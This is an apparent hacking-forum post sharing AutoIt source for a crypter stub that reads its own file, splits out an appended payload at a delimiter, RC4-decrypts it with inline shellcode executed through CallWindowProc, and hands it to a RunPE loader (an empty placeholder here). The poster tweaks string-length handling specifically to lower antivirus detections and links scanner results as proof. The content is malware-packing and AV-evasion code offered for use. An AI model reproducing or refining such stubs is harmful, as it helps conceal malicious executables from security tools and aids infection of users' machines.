[M3 ™]

Well I was going to say the exact same thing as Frooxious, Why would someone use a alternative to StringLen and why would AV detect a harmless stringlen for no reason? So your telling me a blank autoit3 program with just StringLen in it would get detected? o.O

A simple Stub Code , no RunPe , With Alternative StringLen :

Detections :

http://scanner.udtools.net/reporte.php?id=wbd7_WdFZ

Code:

#NoTrayIcon $sKey = "Delimiter" $File = @ScriptFullPath $Data = FileRead($file) $Data = StringMid($Data, StringInstr($Data, $sKey) + sLenEx ($sKey)) $Data = _RC4($Data, "123") _RunPE($Data) Func _RC4($DATA, $key) Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000" Local $CODEBUFFER = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]") DllStructSetData($CODEBUFFER, 1, $OPCODE) Local $BUFFER = DllStructCreate("byte[" & BinaryLen($DATA) & "]") DllStructSetData($BUFFER, 1, $DATA) DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CODEBUFFER), "ptr", DllStructGetPtr($BUFFER), "int", BinaryLen($DATA), "str", $key, "int", 0) Local $RET = DllStructGetData($BUFFER, 1) $BUFFER = 0 $CODEBUFFER = 0 Return $RET EndFunc Func sLenEx($sStr) Local $Result , $i , $bLen Do $i = $i + 1 $bLen = StringLeft($sStr, $i) $Result = $i Until $sStr = $bLen Return $Result EndFunc Func _RunPE($Bynary) EndFunc

Without alternative :

http://scanner.udtools.net/reporte.php?id=an3h_vDtu

Compile and Prove , if change The @ScriptFullPath too , no Detection Thanks for reply

Regards